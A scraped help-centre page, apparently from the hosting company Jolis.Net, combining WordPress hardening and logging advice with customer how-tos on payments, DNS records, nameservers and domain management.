There are a few plugins that purport to screen out suspicious-looking requests based on rule databases and/or whitelists. BlogSecurity's WPIDS plugin installs PHPIDS, a generic security layer for PHP applications, while WordPress Firewall uses some WordPress-tuned pre-configured rules along with a whitelist to screen out attacks without much configuration.


The All in One WordPress Firewall plugin can apply a nice set of firewall rules to your site.

Another excellent plugin to use for Firewall protection, as well as many other extremely useful tools, is Wordfence Security. It offers real time visitor logs, sends you configurable notifications when rules are broken, and possibly the best feature - it scans your site's core, plugins, and themes daily and compares them against the versions found on the WordPress repositories. If anything is found off in the scanned process, the admin has the ability to restore the files to the correct version. Keep in mind this plugin adds extra tables to the database and can increase size, but is a worthy trade off in the right circumstances.

Plugins that need write access
If a plugin wants write access to your WordPress files and directories, please read the code to make sure it is legit or check with someone you trust. Possible places to check are the Support Forums and IRC Channel.

Code execution plugins
As we said, part of the goal of hardening WordPress is containing the damage done if there is a successful attack. Plugins which allow arbitrary PHP or other code to execute from entries in a database effectively magnify the possibility of damage in the event of a successful attack.


A way to avoid using such a plugin is to use custom page templates that call the function. Part of the security this affords is active only when you disallow file editing within WordPress.



Security through obscurity
Security through obscurity is generally an unsound primary strategy. However, there are areas in WordPress where obscuring information might help with security:

1. Rename the administrative account: On a new install you can simply create a new Administrative account and delete the default admin account. On an existing WordPress install you may rename the existing account in the MySQL command-line client with a command like UPDATE wp_users SET user_login = 'newuser' WHERE user_login = 'admin';, or by using a MySQL frontend like phpMyAdmin.

Change the table_prefix: Many published WordPress-specific SQL-injection attacks make the assumption that the table_prefix is wp_, the default. Changing this can block at least some SQL injection attacks.

Data Backups
Back up your data regularly, including your MySQL databases. See the main article: Backing Up Your Database.


Data integrity is critical for trusted backups. Encrypting the backup, keeping an independent record of MD5 hashes for each backup file, and/or placing backups on read-only media increases your confidence that your data has not been tampered with.


A sound backup strategy could include keeping a set of regularly-timed snapshots of your entire WordPress installation (including WordPress core files and your database) in a trusted location. Imagine a site that makes weekly snapshots. Such a strategy means that if a site is compromised on May 1st but the compromise is not detected until May 12th, the site owner will have pre-compromise backups that can help in rebuilding the site and possibly even post-compromise backups which will aid in determining how the site was compromised.

Logging
When performing forensics logs are your best friend. Contrary to popular beliefs, logs allow you to see what was done and by who and when. Unfortunately the logs will not tell you who, username, logged in, but it will allow you to identify the IP and time. Additionally, you will be able to see any of these attacks via the logs - Cross Site Scripting (XSS), Remote File Inclusion (RFI), Local File Inclusion (LFI) and Directory Traversal attempts. You will also be able to see brute force attempts.


If you get more comfortable with your logs you'll be able to see things like, when the theme and plugin editors are being used, when someone updates your widgets and when posts and pages are added. All key elements when doing forensic work on your web server.


There are two key open-source solutions you'll want on your web server from a security perspective, this is a layered approach to security.

ModSecurity - This is an Apache module that functions as a Web Application Firewall (WAF). WAF's are key today, it's what you see folks like Cloudflare and Incapsula employing to filter the traffic. It filters all the traffic as it comes from your site and parses it out before it hits your site. I won't lie, configuring can be tricky with WordPress but it's possible. The other challenge is it doesn't work on NGINX, it's tailored for Apache web servers. The good news is Apache still makes up 90% of the web servers. I should clarify that there is a NGINX version, but it's less stable than Apache and currently undergoing a rehaul.


OSSEC can run on any NIX distribution and will also run on Windows. When configured correctly its very powerful. The idea is correlate and aggregate all the logs. You have to be sure to configure it to capture all access_logs and error_logs and if you have multiple websites on the server account for that. You'll also want to be sure to filter out the noise. By default you'll see a lot of noise and you'll want to configure it to be really effective.

Monitoring
Sometimes prevention is not enough and you may still be hacked. That's why intrusion detection/monitoring is very important. It will allow you to react faster, find out what happened and recover your site.

Monitoring your logs
If you are on a dedicated or virtual private server, in which you have the luxury of root access, you have the ability easily configure things so that you can see what's going on. OSSEC easily facilitates this and here is a little write up that might help you out OSSEC for Website Security - Part I.

Monitoring your files for changes
When an attack happens, it always leave traces. Either on the logs or on the file system (new files, modified files, etc). If you are using OSSEC for example, it will monitor your files and alert you when they change.

Monitoring your web server externally
If the attacker tries to deface your site or add malware, you can also detect these changes by using a web-based integrity monitor solution. This comes in many forms today, use your favorite search engine and look for Web Malware Detection and Remediation and you'll likely get a long list of service providers.

After, you have upgraded your PHP from v5.3 to v5.4.3 your WordPress website will no longer load but instead return a white/blank screen.
And when you check your php error log it says:
PHP Fatal error: Call-time pass-by-reference has been removed; If you would like to pass argument by reference, modify the declaration of do_action(). in /[...]/wp/wp-content/plugins/file-gallery/includes/attachments.php on line 710

Whenever you need to pass an argument by reference, just wrap it in an array, like so:
do_action('file_gallery_delete_all_attachment_copies', $attachment_id, array(&$copies));

And fix for same error on line 761 of same file:
do_action('file_gallery_promote_first_attachment_copy', $attachment_id, array(&$promoted_id));

Billing

In order to pay for an open invoice, follow the following steps:


1. Login to your Jolis.Net account. 

2. Click on the 'View/Pay Invoices' link under My Account. 



3. Click the 'PAY NOW' against the invoice you wish to payoff. 


4. On the next screen, select your payment type and click the submit button. 


 5. Continue with the payment process for your selected payment type.


Direct Bank Deposits | Credit & Visa Cards | Mobile Money | Wire Transfers | Western Union

Ugandan In Uganda, you can make direct bank deposits using the information below:

United
  UGX
A/C Number 0403001420
A/C Name Jolis International Ltd
Bank Name United Bank for Africa

There after, scan your deposit slip issued to you by the bank and attach it on an help desk ticket for verification, see instructions on how to create an help desk ticket here. Please remember to reference your invoice / order number in the ticket.

Upon receipt of your payment, we will complete your transaction(s).

Note:
1. Bank cash deposits will take 24 hours to be processed since we have to verify with the Bank and confirm that the deposit has been made.
2. Bank cheque deposits will be processed the moment the cheque matures



WorldCredit / Debit Cards & PayPal

We do accept credit, debit card and PayPal payments. With these options, your account is set-up instantly once your transaction is successfull.


PayPal Debit / Credit cards are securely processed by 3G Direct Pay





Mobile Mobile Money (for Uganda & Kenya)
You can send AIRTEL MONEY , MTN Mobile Money, M-PESA and M-SENTE as another convenient form of payment.

AIRTEL Money MTN Mobile Money
Airtel (256) 703-JOSEPH
same as: (256) 703-567374
MTN
(256) 776-JOSEPH
same as: (256) 776-567374
M-SENTE M-PESA
M-SENTE (256) 711-JOSEPH
same as: (256) 711-567374
Mpesa (254) 712-830-482

Mobile money payments are processed through JPesa - www.jpesa.com

Alternatively, for networks that support quoting reference / reasons such as but not limited to MTN Mobile Money you can instantly pay off your invoice by quoting the reason Invoice plus the Invoice Number, for example; Invoice 1234, where 1234 is your invoice number. You can also instantly load funds to your Jolis live credits account by quoting the reason Live username where username is your Jolis.Net username.

NB: Always include the Withdraw charges/fees.

Upon receipt of your payment, we will complete your transaction(s).

WorldREST OF THE WORLD - Bank Wire / Telegraphic Transfers

You can wire / telegraphic transfer money directly to our bank account from any where around the world by using the information below: (Please find details about using this method of payment through your nearest bank).

A/C Number: 0403001420
A/ C Name : Jolis International Ltd
Bank Name : United Bank FOR Africa Uganda LTD
SWIFT CODE: UNAFUGKA
Bank Country: Uganda
Bank Address: Spear House Plot 22 Jinja Road, KAMPALA
Bank City: Kampala
Bank Zip: 256

NOTE: When sending the money always include a wire transfer fee of $25.00

There after, scan the TT or wire transfer slip issued to you by the bank and attach it on an help desk ticket for verification, see instructions on how to create an help desk ticket here. Please remember to reference your invoice / order number in the ticket

Upon receipt of your payment, we will complete your transaction(s).

WorldREST OF THE WORLD - Western Union


You can send money through Western Union: (Details below)

First Name: Joseph Western
Last Name: Abdi
Address: P.O. Box 22930 Kampala, Uganda.
Tel: +256-752-567374
City / Country: Kampala / Uganda

There after, please send us MTCN, your first name, last name, amount, currency, country, question and answer. Send those details through an help desk ticket for verification, see instructions on how to create an help desk ticket here. Please remember to reference your invoice / order number in the ticket.

Upon receipt of your payment, we will complete your transaction(s).


NOTE:
We donot accept cash payments at any of our offices in Uganda or USA

Should you have any questions or wish to make payment in rather a different format, please contact the billing department.

In order to change the email address associated with your Jolis.Net account, follow the instructions below;
1. Login into your Jolis.Net Account
2. Click Edit Your Profile under My Account
3. In the Email Address field, type your new email address that you want to be assocaited with your Jolis.Net account


Alternatively, please call +256-752-567-374 | +256-712-567-374 .Our Billing /Support Department will be happy to make this change for you. Please be prepared to provide your domain name and account verification.

If your account has been suspended for billing reasons, you must payoff your invoice through your Jolis.Net account using any of our supported forms of payment.

Alternatively, contact the Billing department by creating an helpdesk ticket or call +256-752-567-374 | +256-712-567-374.

To Cancel your Hosting do the following:

  1. Login to your Jolis.Net account (if you've forgotten your logins you can always use a password reminder on the login page)
1. Once logged in: Click View Hosting Accts under My Packages. (see below)





2. Click on the "M" icon below the domain whose Hosting you want to cancel.




3. Then click Cancel this Hosting Package. (see below)



4. Then Confirm the Cancelation,

Note: You only Confirm if you seriously want to Cancel the Hosting Account because this is a Permanent Action and unreversible

At Jolis you may choose to either run on a monthly or annual hosting term. Whenever your hosting expires we send you an invoice 2 weeks prior to the expiration date, therefore if you want to extend your hosting all you need to do is to payoff your invoice using any of our supported forms of payment.
If you want us to generate for you the before the 2 weeks to its expiration you can contact the Billing department through an helpdesk ticket

If you wish to shorten or terminate your hosting account all you need to do is to cancel your hosting through your Jolis.Net account.

For any of the service that you want from Jolis you must place an order for it through your Jolis.Net account at the end of the ordering process we provide you with an invoice which you can payoff using any of our supported forms of payment.

To view all the invoices in your account;
1. Login to your Jolis.Net account
2. Click on View/Pay Invoices under My Account
3. When you mouse-over the invoice id you will see its description and amount, if the invoice is paid it will have a status Paid if not paid you will see a PAY NOW link against the invoice when clicked it leads you to the payment options page.

You can choose to have your domains automatically renewed so that you do not experience any downtime. Many of our customers run their businesses through their websites and we can not risk bringing their service down for even one day. Auto-renewal is free and can be added to any of your domains in your account. Follow the instructions below to add the auto-renew feature on your domain name.

1. Login to your Jolis.Net account.
2. Click the link Manage Domains under Domains.
3. Click the 'M' beneath the domain you want to add the Auto Renew feature on.
4. Check the checkbox against Auto Renew Enabled to enable the feature.
5. Click the SAVE button to finish.
6. If you want to disable the Auto-renew feature do the reverse that is uncheck the checkbox.

Note: For the domain to be Auto-renewed you must have enough InHouse Credits/Live credits on your account.

Follow the instructions below to disable the auto-renew feature on your domain name.

1. Login to your Jolis.Net account.
2. Click the link Manage Domains under Domains.
3. Click the 'M' beneath the domain you want to add the Auto Renew feature on.
4. Uncheck the checkbox against Auto Renew Enabled to disable the feature.
5. Click the SAVE button to finish.

To set the Auto-Renew feature on your domains see instructions here.

Domain names and hosting services are meant to be renewed after every one year or after every month if you choose to go for a monthly hosting term.

Domain renewal dates
1. Login to your Jolis.Net account you will receive a notification about the domains soon expiring (Domains expiring within ..Days!), once you click on the link (Click here to view/renew) you will see the domains and their expiry dates.
2. Click on Manage Domains under My Domains you will see the expiry date under Expires.
Find domain renewal date explanation here.

Hosting Renewal dates
1. Login to your Jolis.Net account -> Click View Hosting Accts under My Packages -> You will see the expiry date under Next Renew.
2. Click Service Manager -> Select Hosting Account from the drop-down menu -> Under Billing Info you will see the Next Renew Date.
Find hosting renewal dates explanation here.

If you intend to change ownership of your Jolis.Net account to another person all you need to do is to provide them with your Jolis.Net login credentials that is username and password. Once they have logged in they can edit the admin email address to theres so that all the communications in regard to that account are routed to their email address.

If you wish to change ownership of a domain you can do a Domain Push into another account.
In case the domain you want to change ownership for has Hosting on it you wont be abe to do a domain push, please create an helpdesk ticket with the username of the new administrator you want the domain and hosting transferred to.

In order to have a domain point to a specific web host, nameservers are used. When the domain points to these name servers across all (or most) servers on the net, the domain is said to have resolved (or propagated). Internet Service Providers have DNS tables that they update with the latest routing information for a domain. When an ISP has not updated their DNS tables, it is said that the domain has not resolved. Most ISPs usually resolve domains within 24 to 72 hours of any changes made to a domain.

If you run short of resources on your hosting account say if you are running on the Earth plan and you use more than 100MB of webspace your web service will be deactivated, when you try accessing your website you will see the default parking page "Website Under construction" but the rest of the services for example Email will stay up and running.

One of the option to get your service back on is to upgrade to a higher hosting plan that can meet your resource needs by placing an order for an upgrade through your Jolis.Net account follow the instructions below;


1. Login to your Jolis.Net account.
2. Click the 'View Hosting Accts' under 'My Packages'
3. Click the 'U' icon next to the Hosting Account you want to upgrade.




4. In the drop-down menu choose the plan you want to upgrade to and follow the procedure steps.








Once payment is made your hosting account will be upgraded within 2 minutes.

If your order is from outside or in selected areas within the United States, we may ask you to send us a copy of your credit card and ID. This does not usually occur.


The amount of fraudulent orders has increased in the past few years. At Jolis Intercom, protecting our customer is our top priority. Since most of our orders are through an online form, there is no person to person interaction. This makes it very easy for someone who is not necessarily the credit card holder to place an order. Since no items are shipped, credit card companies find it difficult to trace the criminal who used the card fraudulently.


Research shows that most criminals using stolen credit cards do not have the plastic credit card itself on hand. Instead, they have documents of stolen credit card information. In cases where we suspect fraud, we may ask you for a fax or an email with the scanned images.


We require a copy of your government issued ID and credit card. If you send this information to us via email, our representatives will print the e-mail and destroy the electronic copy. All of our servers and computers have security measures to prevent against hacking. The printed emails and faxes are all locked in a cabinet for safe keeping and access is only available to authorized personnel.


We have found that when it comes to security, our customers are more than willing to go the extra mile and help us ensure that no one is a victim of credit card fraud.

Currently, Jolis supported forms of payment are;

1. Pay by Cheque
2. Pay by Bank/Wire Transfer
3. Pay with your debit/credit card or PayPal account
4. Pay by JPesa - Mobile Money Payments
5. Pay by InHouse Credits

Bank Wire Transfers Details:


You can wire transfer money directly to our bank account from any where around the world by using the information below (Please find details about using this method of payment through your nearest bank):


A/ C Name : The Great Seven.
A/C Number : 0313000049
Bank Name : United Bank FOR Africa Uganda LTD
Swift Code : UNAFUGKA
Address: Spear House Plot 22 Jinja Road, KAMPALA
Bank Country : Uganda
Bank Street : Jinja Road
Bank City: Kampala
Bank Zip: 256

NOTE: When sending the money always include a wire transfer fee of $25.00

There after, scan the TT or wire transfer slip issued to you by the bank and attach it on an helpdesk ticket for verification. Please remember to reference your invoice / order number in the ticket.

When your hosting expires we always give you a grace period of 7 days, if payment is not received after the grace period , your account will be suspended. If your account is suspended and you wish to reinstate make the payment using any any of the our supported forms of payment.

For the case of domain name once it expires all services on it are deactivated on the exipiration date there is nonthing like grace period. We therefore recommend that you activate the auto-renew feature on your domains and always have InHouse Credits to avoid inconveniences that expirations might cause.

Creating Additional Contacts

Adding additional contact information
By default the system will always send support and billing related information to the administrator email address on file, that is to say the email address you provided while creating an account with Theg7.Com.
But on many occasions you might want different information to be delivered to specific emails address so that those in charge can act accordingly, for example you might want all invoice from Jolis Billing Department to go to billing@yourcompamy.com instead of having it going to sales@yourcompany.com. All you need to do is to create Additional Contacts.

How to create Email Additional Contacts;
1. Under My Account Click on Additional Contacts
2. Click on Add New Contact



3. Fill in the form provided
Friendly Name: Name of the person
Type: Choose Email Contact
Receive from: You choose the department you want the added contact person to receive information from, for example Billing department - this means the contact person will receive all emails from our Billing department, Support Department - this means the contact person will receive all information from our Support Department, All Departments - this means the contact person will receive information from all departments ie both Billing and Support
Contact Info: You put the Email Address you want to receive the information from the various Departments
See below;


OR SMS Contact

Kindly follow the instructions on the link below to cretae an SMS Nortification Contact

Right from your Jolis International Account

Click My Account -> Additional Contact - > Click on Add New Contact



Fill in the form, all fields are required

Friendly Name: Put a Friendly Name

Type: choose Email Contact

Receive from: Select a department say support, Billing or All Departments

Contact Information: Put the Phone Number should start with 256 for example 256772660572

See Below;


DNS Management

This step-by-step guide describes how to configure Domain Name System (DNS) Records for Internet access with TheG7 DNS system right from your Jolis International Account. DNS is the core name resolution tool that is used on the Internet. DNS handles resolution between host names and Internet addresses.

If you already have an IP address that is hosting your website, you can point your domain to the IP address by configuring an A-record for your domain.

A-records are used to map domain names and web server IPs.For instance,www.yourdomain.com (where yourdomain.com is your registered domain name hosted and or registered at Jolis) OR sub-domain.yourdomain.com can be mapped to an IP address. For your www.yourdomain.com to be mapped to an IP address, simply enter www in the field in front of yourdomain.com.

To create your DNS records:

1. Login to your Jolis International account

2. Click Manage Domains under Domains or View / Edit (under Number of domains in your account) [see below]

3. Click [M] beneath the domain name for which you want to create DNS records for [see below]



Click M to Manage the Domain Name


4. On the Domain Manager Interface, Click DNS Manager, next you will be on the DNS Manager Interface. (see below)

Click to access DNS Manager

Initially we create for you 3 DNS records automatically (MX records & Nameserver Records). So you would then be required to create more 2 DNS records.

1.1. Create the * record by entering the following information in the fourth row:
under Host enter: *
under Type: Leave default (A)
under Data enter: your ip address (eg 123.123.123.123)
click "add" button
1.2. Create the yourdomain.com. record by entering the following informatin in the fifth row:
under Host: (leave blank)
under Type: Leave default (A)
under Data enter: your ip address (eg 123.123.123.123)
click "add" button


After the above steps you should have something like this (see below):

Click to access DNS Manager

6. Once you have done the above, then you are done creating the DNS records. The last step would be you change the nameservers of your domain name to the following:

To change the nameservers, please follow instructions below:

7. On the left menu of your Domain Manager interface: Click Change Nameservers (see below)


Change Nameservers

8. If you to use our nameservers NS1.THEG7.COM & NS2.THEG7.COM choose Default Nameservers from the Drop-down menu

If you to use your own choose custom nameservers from the drop-down menu See below of the final result: (ofcourse after entering the nameservers, click Submit button to effect changes)

Nameservers Changed

{{RD}}

You've registered your domain name, and paid for hosting with a hosting provider, and uploaded your website to the web server. If this is all done, why can't you see the results of your hard work right away? What is this DNS propagation people keep telling you about?

In order to understand DNS propagation, you must first understand a little about how DNS works. When you set up your website with your hosting provider, they create a Master DNS record in their Domain Name Servers. Your domain registrar (the company you paid for the honor of owning your domain name) points to your web host's DNS server as being the master authority of your domain.

When any outside source wants to know how to find your website, they first go to the registration database to find out who the DNS authority is for your website. Then they visit your hosting provider's DNS servers to find out what the IP Address is for your domain name, and from there your audience can now view your website.

The problem with this whole scheme is that in order to speed up the rate at which their customers can view the internet, each Internet Server Provider caches their DNS records. This means that they make their own copy of the master records, and read from them locally instead of looking them up on the Internet each time someone wants view a website. This actually speeds up web surfing quite a bit, by (1) speeding up the return time it takes for a web browser to request a domain lookup and get an answer, and (2) actually reducing the amount of traffic on the web therefore giving it the ability to work faster.

The downside to this caching scenario and what makes it take so long for your website to be visible to everyone, is that each company or ISP that caches DNS records only updates them every few days. This is not any kind of standard, and they can set this time anywhere from a few hours to several days. The slow updating of the servers cache is called propagation, since your websites DNS information is now being propagated across all DNS servers on the web. When this is finally complete, everyone can now visit your new website. Being that the cache time is different for all servers, as mentioned above, it can take anywhere from 36 to 72 hours for DNS changes to be totally in effect.

When someone enters a domain name into a web browser or sends email to an address at a domain name, the computers they are connected to need to find out where the website is or where to send the email. So, they find out which computer has the zone file for that domain name, and then they ask those nameservers the IP address of the website or the IP address of the mailserver.

Now, if servers had to keep doing these same lookups over and over again they would become quite slow. So instead, they store the answer for a while so it can be used again the next time someone enters the same domain name in a web browser or sends an email.

This process of storing the answer is called "caching" and the length of time the information is cached depends on a DNS setting called the "minimum" or "TTL" (time to live) which is found in a domain name's SOA (start of authority) record.

The effect this has on making changes to a domain name's DNS (like changing an IP address) is that the change will not be used until the old address information is removed from the cache.

The process of waiting for old information to be removed from the cache so that the new information is seen by everyone on the internet is called propagation and will depend on the minimum/TTL setting.

So, if the minimum/TTL is set to 24 hours, then 24 hours is the longest amount of time it will take for the new address to be used by everyone on the internet.

This isn't a problem when you are using a static IP because the address does not change, but when you are using dynamic DNS you don't want people to be waiting for 24 hours before they can get to your website because your IP address just changed.

At Jolis' DNS server, the default "minimum" or "TTL" (time to live) is 86400 seconds (1 day)

Private name servers would be ns1.yourdomain.com and ns2.yourdomain.com, instead of our default nameservers ns1.theg7.com and ns2.theg7.com

How do I go about getting my private name servers setup?

You will now need to create the name servers at the place you registered your domain from ie through your Jolis.net Account.

1. Login to your Jolis.Net Account
2. Click on Manage Domains under My Domains
3. Click on the "M" Icon below the Domain
4. Under Management tools choose Nameserver 



Add your preferred nameservers and their respective IP Addresses in the fields below;



Note:
If you don't intend to use private nameservers configure your nameservers here. {{RD}}

What are DNS Records. DNS records or Zone files are used for mapping URLs to an IPs. Located on servers called the DNS servers, these records are typically the connection of your website with the outside world. Requests for your website are forwarded to your DNS servers and then get pointed to the WebServers that serve the website or to Email servers that handle the incoming email.

TypeDescriptionFunction
A Address Record Returns a 32-bit IPv4 address, most commonly used to map hostnames to an IP address of the host
CNAME Canonical name record Alias of one name to another: the DNS lookup will continue by retrying the lookup with the new name.
MX Mail Exchange Maps a domain name to a list of message transfer agents for that domain
NS name server record Delegates a DNS zone to use the given authoritative name servers
SOA start of [a zone of] authority record Specifies authoritative information about a DNS zone, including the primary name server, the email of the domain administrator, the domain serial number, and several timers relating to refreshing the zone.
TXT Text Record Originally for arbitrary human-readable text in a DNS record. Since the early 1990s, however, this record more often carries machine-readable data

The `type' column in the `rr' table may contain any of the following supported resource record types:

`A'
A host address. The `data' column should contain the IP address (in numbers-and-dots format) associated with the `name'. example: `192.168.1.88'

`AAAA'
An IPv6 host address. The `data' column should contain the IPv6 address associated with the `name'. example: `3ffe:b00:c18:3::a'

`ALIAS'
A server side alias. An alias is like a CNAME, only it is handled entirely by the server. The `data' column should contain the hostname aliased by `name'. Aliases can be used in place of A records. The client will only see A records and will not be able to tell that aliases are involved. The hostname specified by `data' must exist in the database.

It can be useful to use aliases for everything. Use A records for the canonical name of the machine and use aliases for any additional names. This is especially useful when combined with automatic PTR records. If a single IP address is only used for one A record, then there will never be any confusion over what the PTR record should be.

In order for server-side aliases to work, MyDNS must have been compiled with configure --enable-alias.


example: `albuquerque.example.com.' (FQDN)
example: `albuquerque' (hostname only)

`CNAME'
The canonical name for an alias. The `data' column should contain the real name of the machine specified by `name'. `data' may be a hostname or an FQDN.

example: `porcini.example.com.' (FQDN)
example: `porcini' (hostname only)

`HINFO'
Host information. The `data' column should contain two strings which provide information about the host specified by `name'. The first string specifies the CPU type, and the second string describes the operating system type. The two strings should be separated by a space. If either string needs to contain a space, enclose it in quotation marks.

example: `"Pentium Pro" Linux'

`MX'
Mail exchange. The `data' column should contain the hostname or FQDN of a mail server which will accept mail for the host specified by `name'. The `Priority' column should contain a preference for this mail server. Mail transfer agents prefer MX records with lower values in `Priority'.

example: `ns0.example.com.' (FQDN)
example: `ns0' (hostname only)

`NS'
An authoritative nameserver. The `data' column should contain the hostname or FQDN of a server which should be considered authoritative for the zone listed in `name'.

example: `france.example.com.' (FQDN)
example: `france' (hostname only)

`PTR'
A domain name pointer. These records, used only with IN-ADDR.ARPA zones, should contain the canonical hostname of the machine referred to by `name' in `data'.

example: `webserver.example.com.'


`RP'
A responsible person. The `data' column should contain the DNS-encoded email address of the person responsible for the name requested, then a space, then a hostname that should return a TXT record containing additional information about the responsible person. If there is no such TXT record, the second value should contain a dot (`.').

example: `webmaster.example.com. contactinfo.example.com.'

`SRV'
Server location. Specifies the location of the server(s) for a specific protocol and domain. The `data' column must contain three space-separated values. The first value is a number specifying the weight for this entry. The second field is a number specifying the port on the target host of this service. The last field is a name specifying the target host. The `Priority' column should contain the priority of this target host. Targets with a lower priority are preferred.

For more information, read RFC 2782.


example: `0 9 server.example.com.' (FQDN)
example: `0 9 server' (hostname only)

`TXT'
A text string. The `data' column contains a text string that is returned only when a TXT query is issued for the host specified by `name'. example: `This is a string.'

A CNAME record is an abbreviation for Canonical Name record and is a type of resource record in the Domain Name System (DNS) used to specify that a domain name is an alias for another domain, the "canonical" domain. All information, including subdomains, IP addresses, etc, are defined by the canonical domain.


You cannot have CNAME and MX records on the same domain, the CNAME overrides everything else. You can create CNAME records on sub-domains without trouble, but not on the bare domain. If you do so CNAME will overide the MX records and face a mail problem.


Domain 4 Sale

In order to place your domain for sale:


1. Login to your Jolis.Net account.
2. Click Manage Domains below Domains.
3. Click the 'S' icon below the domain name you wish to sell.
4. Select the category you wish your domain to be listed in.
5. Finally you can click the Sell It! button.

Have the domain's new owner create an account here on our site. Then you can push the domain to the new owner's account. You only need to know the username of their account.


NOTE: Be sure you have collected payment for the domain name before releasing it to it's new owner. Our company cannot interfere in your transaction or retrieve your domain if there is a problem with payment.

Domain Management

Nameservers are the Internet's equivalent to phone books. A nameserver maintains a directory of domain names that match certain IP addresses (computers). Nameservers make it possible for visitors to access your website using a familiar domain name, instead of having to remember a series of numbers.
The following steps provide guidance towards changing the nameservers your domain is currently using:

1. Login to your Jolis.Net account.
2. Click the Manage Domains tab under Domains.
3. Look up the domain name using the search bar
4. Click the 'M' icon below the domain name you wish to change nameservers for.



5. Click the Change Nameservers tab under Management Tools.
6. If you are to use our own (default) nameservers ns1.theg7.com and ns2.theg7.com choose Default Nameservers from the drop-down menu.



If you are to use your own nameservers choose Custom Nameservers from the drop-down menu.



7. Enter your nameservers for example ns1.example.com and ns2.example.com
7. Click the submit button.

Note: If you wish to use our default nameservers, select Default Nameservers in the drawdown box and click the submit button.
If you wish to use your own private nameservers follow the instructions here. {{RD}}

Whois is a query and response protocol that is widely used for querying databases that store the registered users or assignees of a domain name. Whois consists of registrants, administrative information, such as creation and expiration dates of a domain name. To change the contact information that appears in a whois lookup and is the legal ownership information for a domain name follow the steps below;

1. Login to your Jolis.Net account.
2. Click the Manage Domains tab under Domains
3. Search for the domain using the search menu

4. Click the 'M' icon below the domain name you wish to update.
5. Click the Contact Information tab under Management Tools.
6. Edit as per legal ownership of the domain name.

Please note: ICANN reserves the right to disable any domain name with invalid contact information.
{{RD}}

The following are the steps for Nameserver Registration/Changing IP:

1. Login to your Jolis.Net account.
2. Click on the Manage Domains tab under Domains.
3. You can then look up the domain using the search bar.

4. Click the 'M' icon next to the domain name you want to register nameservers for.
5. Click the Nameserver Registration tab under Management Tools
6. Enter the nameserver's full hostname in the Nameserver field and it's IP address in the IP Address field. This depends on if you wish to add, edit or delete.
7. Click the Submit button.

NOTES:

  • If you don't know what this means, you are probably in the wrong place!

  • This does not configure any zone file A records for your nameservers

  • Only nameservers with no domains using them can be deleted

  • This page does not apply to .uk TLDs

{{RD}}

When you sign up for a domain name through Jolis, you take care of any changes you need for the domain name. Should you ever want to make the changes, you do so through your Jolis.Net member's area.

1. Changing DNS Records.
2. Changing Nameservers, and registering nameservers.
3. Changing whois information.
{{RD}}

To change your nameservers to Jolis's, you must log into your current domain registrar's control panel and make the switch.

Our nameservers are: (order of priority)
NS1.THEG7.COM
NS2.THEG7.COM

If you have your domain name in your Jolis.Net account configure your namservers by following the instructions here.
If you are unsure how to do so, please contact support.(open a helpdesk ticket in your member's area)

Domain Names (a.k.a. urls, addresses) are not intended for search engines. Search Engines generally take keywords and return a list of documents containing those words. Your domain name must be typed in the Address Bar (also known as location bar) of the browser. Type your domain name in your browser's address bar and press enter.

Before you register a domain you must check for its availability. When a domain is registered it becomes unavailable meaning no one else can register it.

1. The best way to find out is by visiting our site(http://www.jolis.net).
2. Click on Whois Lookup under domain services.
3. Alternatively, click Register Domain under DOMAIN SERVICES.
4. Enter the domain name you want to register in the domain field, check the extension from the list, and click CHECK AVAILABILTY.
5. If a domain is available under status you will see Available and also see more availabe domain extension in line to what you want to register. If the domain is unavailable under status you will see Unavailable and also see more availabe domain extension in line to what you want to register.

A domain name may have a maximum of 63 characters (letters, numbers, dashes) plus the 4 characters for the extensions such as [.COM]. This allows a domain name (including the extension) to be 67 characters long.

Note: It is generally a good idea to have the shortest domain name possible as your customers/visitors may find it easier to type.

A Domain Push is simply Reassigning a domain name to another Jolis member so that they take full control over the domain (Full Domain Management).

1. Login to Your Jolis.net account with your usermane and password
2. Click on the Manage Domains tab under Domains.
3. Click on the 'M' Icon below the Domain you want to push to another account/User 


push1



4. This action will bring you to the Next window below look at the extreme bottom of the Management Tools and click on the ''Push to Another Account" link.
5. Enter the exact User name to receive the domain you pushing and also create a Password for the push and click Submit.
6. The password you create is the one you send to the receiver so that they can redeem the pushed domain into their account.

Note: The username and password are case sensitive if the receiver enters a wrong one they wont receive the domain into their Account.
You will get a sucess nortification message: Success: Mission accomplished, See Below;



push2



What does the one receiving the Pushed Domain do ??

1. Login to your Jolis.net Account. Once logged in you will see an Alert message **ALERT: Pending Domain Ownership Transfer. Click HERE **
2. You Cllick on the Alert Message.
3. Type the Push Password that was provided to you by the current owner of the Domain.
4. Click Claim
5. You will receive a Mission accomplished success Message

See Below;

push3


The Domain Push will be successfully completed and the Domain will be listed among your owned Domains

{{RD}}

Subdomain
1. Lets say your domain is mysite.com
2. A subdomain is a domain that is part of a larger domain, for example board.mysite.com is s asubdomain of mysite.com
3. Subdomains cost you nonthing they are free

Parked Domain

1. You have two domains mysite.com and my-other-site.com.
2. mysite.com is the domain of your website and you want to add my-other-site.com.
3. You want them both to go to the same place. In other words, when someone types either www.mysite.com or www.my-other-site.com they will go to the same page(s) on your website.
4. In order to have additional parked domains you need to purchase them, Order now.

Add-On Domains

1. You have two domains mysite.com and my-other-site.com.
2. You want the two domains to be totally separate/independent websites.
3. In order to have additional add-on domains you need to purchase them, Order Now

Domain locking is a free security enhancement offered by Jolis to prevent unauthorized transfers of your domain to another registrar or web host by "locking" your domain name servers. When your domain is locked, you'll be substantially protected from unauthorized third parties who might try to misdirect your name servers or transfer your domain without your permission.


When your domain is unlocked, you will be able to modify your name servers, and third parties may be able to initiate a registrar transfer for your domain. We recommend turning locking off only in the event that you need to make changes to your domain name servers

The following steps provide guidance towards Locking your domain:

1. Login to your Jolis.Net account.

2. Click the Manage Domains link under the Domains.
3. Click the 'M' icon below the domain name you wish to Lock.



4. Select Checkbox to lock and click Save, your Domain will be Locked


{{RD}}

This step-by-step guide describes how to configure Domain Name System (DNS) Records for Internet access with TheG7 DNS system right from your Jolis.Net account. DNS is the core name resolution tool that is used on the Internet. DNS handles resolution between host names and Internet addresses.

If you already have an IP address that is hosting your website, you can point your domain to the IP address by configuring an A-record for your domain.

A-records are used to map domain names and web server IP s. For instance, www.yourdomain.com (where yourdomain.com is your registered domain name hosted and or registered at Jolis Intercom) OR sub-domain.yourdomain.com can be mapped to an IP address. For your www.yourdomain.com to be mapped to an IP address, simply enter www in the field in front of yourdomain.com.

To create your DNS records:

1. Login to your Jolis.Net account

2. Click Manage Domains or View / Edit (under Number of domains in your account) [see below]

Domain Manager



3. Click [M] beneath the domain name for which you want to create DNS records for [see below]



Click M to Manage the Domain Name



